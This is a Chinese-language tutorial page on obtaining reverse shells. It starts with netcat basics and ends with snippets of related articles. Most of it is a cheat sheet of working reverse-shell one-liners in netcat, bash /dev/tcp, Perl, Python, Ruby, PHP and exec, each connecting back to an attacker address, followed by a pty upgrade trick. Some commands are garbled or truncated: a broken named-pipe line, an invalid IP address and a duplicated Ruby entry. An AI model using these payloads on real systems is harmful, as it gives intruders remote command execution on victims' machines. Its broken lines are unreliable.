各种环境下反弹shell
0x00 NC命令详解
在介绍如何反弹shell之前,先了解相关知识要点。
nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流
可运行在TCP或者UDP模式,添加参数 —u 则调整为udP,默认为tcp,详细参数如下
- -g<网关> 设置路由器跃程通信网关,最多可设置8个。
- -G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
- -h 在线帮助。
- -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
- -l 使用监听模式,管控传入的资料。
- -n 直接使用IP地址,而不通过域名服务器。
- -o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
- -p<通信端口> 设置本地主机使用的通信端口。
- -r 乱数指定本地与远端主机的通信端口。
- -s<来源地址> 设置本地主机送出数据包的IP地址。
- -u 使用UDP传输协议。
- -v 显示指令执行过程。
- -w<超时秒数> 设置等待连线的时间。
- -z 使用0输入/输出模式,只在扫描通信端口时使用。
$ nc -v 172.31.100.7 21
netcat 命令会连接开放端口21并且打印运行在这个端口上服务的banner信息。
1、使用nc聊天
$nc -l 1567
netcat 命令在1567端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。
$nc 172.31.100.7 1567
不管你在机器B上键入什么都会出现在机器A上。
实测好像并不可以…
2、nc进行文件传输
Server:
$nc -l 1567 < file.txt ``` Client: ``` $nc -n 172.31.100.7 1567 > file.txt
好像也不行…
不管这些还是直接来反弹shell吧
0x01 NC
1、正向反弹shell
服务器端
nc -lvvp 7777 -e /bin/bash
本地
nc 192.168.242.129 7777
即可获得服务器端的shell
2、反向反弹shell
服务端
nc -e /bin/bash 192.168.242.1 7777
本地
nc -lvvp 7777
不使用-e参数反弹
使用管道
服务端
mknod /tmp/backpipe p
/bin/sh 0/tmp/backpipe
攻击端
nc -lnvp 7777
mknod需要root用户,但是也可以通过mkfifo /tmp/backpipe也可以创建一个管道。
0x02 Bash
服务端:
bash -c 'sh -i &>/dev/tcp/210.28.30.887/53 0>&1'
或者
bash -i >& /dev/tcp/192.168.242.1/7777 0>&1
攻击端
nc -lvvp 7777
0x03 Perl
第一种方式(linux)
perl -e 'use Socket;$i="192.168.242.1";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
本地:nc -nvlp 7777
第二种方式(linux)
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.242.1:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
第三种方式(windwos)
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
0x04 Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.27.32.227",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
本地:nc -nvlp 7777
0x05 ruby
第一种方式
ruby -rsocket -e'f=TCPSocket.open("10.10.10.166",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)
一次性连接,连上就断,换上 msd 监听也是这样
第二种(linux)
ruby -rsocket -e'f=TCPSocket.open("10.10.10.166",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)
一次性连接,连上就断,换上 msf 监听也是这样
第三种方式(windwos)
ruby -rsocket -e 'c=TCPSocket.new("10.10.10.166","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
0x06 PHP
php -r '$sock=fsockopen("10.10.10.166",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
本地 nc -nvlp 4444
0x07 exec
第一种方式
exec 5<>/dev/tcp/10.10.10.166/4444
cat <&5 | while read line; do $line 2>&5 >&5; done
本地:nc -nvlp 4444
第二种方式:
0<&196;exec 196<>/dev/tcp/10.10.10.166/4444; sh <&196>&196 2>&196
本地 nc -nvlp 4444
0x08 原生的 shell 切换交互式 bash
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39840
$ $ $
$ python -c 'import pty; pty.spawn("/bin/bash")'
kevin@ubuntu:~$
0x09 最后
个人觉得这几种应该就够用了,至于其他环境,再看具体情况吧,有一些环境服务器不一定有的
参考链接:
https://www.cnblogs.com/deen-/p/7237327.html
https://blog.csdn.net/Kevinhanser/article/details/88920278
各种环境下反弹shell的更多相关文章
- Linux下反弹shell的种种方式
[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...
- linux下反弹shell
01 前言 CTF中一些命令执行的题目需要反弹shell,于是solo一波. 02 环境 win10 192.168.43.151 监听端 装有nc kali ...
- 渗透测试中Linux下反弹shell的认识
最近老是觉得自己白天工作累,晚上理应休息 堕落了几天才发觉自己真垃圾,加紧向前吧. 0x00 前言 在平时渗透还是工作中经常会遇到shell反弹的情况,网上一搜反弹shell都是一大堆,但是真正遇到反 ...
- Windows/Linux 下反弹shell
Linux 反弹shell bash环境获取shell 客户端 nc -lvp 8888 服务器 bash -i >& /dev/tcp/ip/port 0>&1 bash ...
- Linux下反弹shell笔记
0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点. nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流 可运行在TCP或者UDP模式,添加参数 —u 则 ...
- linux环境下编写shell脚本实现启动停止tomcat服务
第一步:以管理员的身份进入控制台,在指定目录下新建一个shell脚本,我这里命名为tomcat.sh 第二步:编写shell脚本 #!/bin/bash tomcat_home=/usr/tomcat ...
- Linux环境下使用shell编写CGI(httpd)
/var/www/cgi-bin/hello.sh #!/bin/bash echo "Content-type: text/html" echo "" ech ...
- linux 反弹shell
Linux下反弹shell笔记 0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点. nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流 可运行在TCP或 ...
- Linux下几种反弹Shell方法的总结与理解
之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了很多资料去理解这些命令的含义,将研究的成果记录在这里,所谓的反弹shell,指的是我们在 ...
随机推荐
- 《PHP程序员面试笔试宝典》——如何进行自我介绍?
本文摘自<PHP程序员面试笔试宝典> PHP面试技巧分享,PHP面试题,PHP宝典尽在"琉忆编程库". 自我介绍是面试中至关重要的一个步骤,很多面试官对求职者提出的第一 ...
- Solution -「CTS 2019」「洛谷 P5404」氪金手游
\(\mathcal{Description}\) Link. 有 \(n\) 张卡牌,第 \(i\) 张的权值 \(w_i\in\{1,2,3\}\),且取值为 \(k\) 的概率正比于 \ ...
- Solution -「CF 487E」Tourists
\(\mathcal{Description}\) Link. 维护一个 \(n\) 个点 \(m\) 条边的简单无向连通图,点有点权.\(q\) 次操作: 修改单点点权. 询问两点所有可能路 ...
- if,for,while,do...while
顺序结构 java的基本结构就是顺序结构,除法特别指明,否则就按照顺序一句一句执行 顺序结构是最简单的算法结构 语句与语句之间,框与框之间是按照从上到下的顺序进行的,它是由若干依次执行的处理步骤组成, ...
- 通过JAVA对FTP服务器连接,上传,下载,读取,移动文件等
记录一次对FTP服务器文件内容 通过Java程序对FTP服务器文件处理:连接,上传,下载,读取,移动文件等. 需求描述:今天接到一个任务,在Java项目中,读取FTP服务器上的一些文件,进行一些业务操 ...
- netty系列之:channelPipeline详解
目录 简介 ChannelPipeline 事件传递 DefaultChannelPipeline 总结 简介 我们在介绍channel的时候提到过,几乎channel中所有的实现都是通过channe ...
- 八大排序算法之直接插入排序(InsertionSort)
常见的排序算法 今天复习[直接插入排序] 核心思想:有序数组中 找位置 -- 给无序数组第一个 找位置 ` public class InsertionSort { // 核心思想:有序数组中 找位置 ...
- RFC3918组转发矩阵测试——网络测试仪实操
一.简介 1.RFC3918简介 历史 · 在1999年3月成为正式标准 功能 · 评测网络互连设备或网络系统的性能 · 网络设备: 交换机,路由器- 内容 · 定义了一整套测试方法,为不同厂家的设备 ...
- 禁用所有控制台console.log()打印
在前端dev的环境下,经常会用到console.log()进行调试,以方便开发, 而在产品release的版本中,又不合适在浏览器的console中输出那么多的调试信息. 但是会经常因为没有删除这些开 ...
- .Net/C#分库分表高性能O(1)瀑布流分页
.Net/C#分库分表高性能O(1)瀑布流分页 框架介绍 依照惯例首先介绍本期主角:ShardingCore 一款ef-core下高性能.轻量级针对分表分库读写分离的解决方案,具有零依赖.零学习成本. ...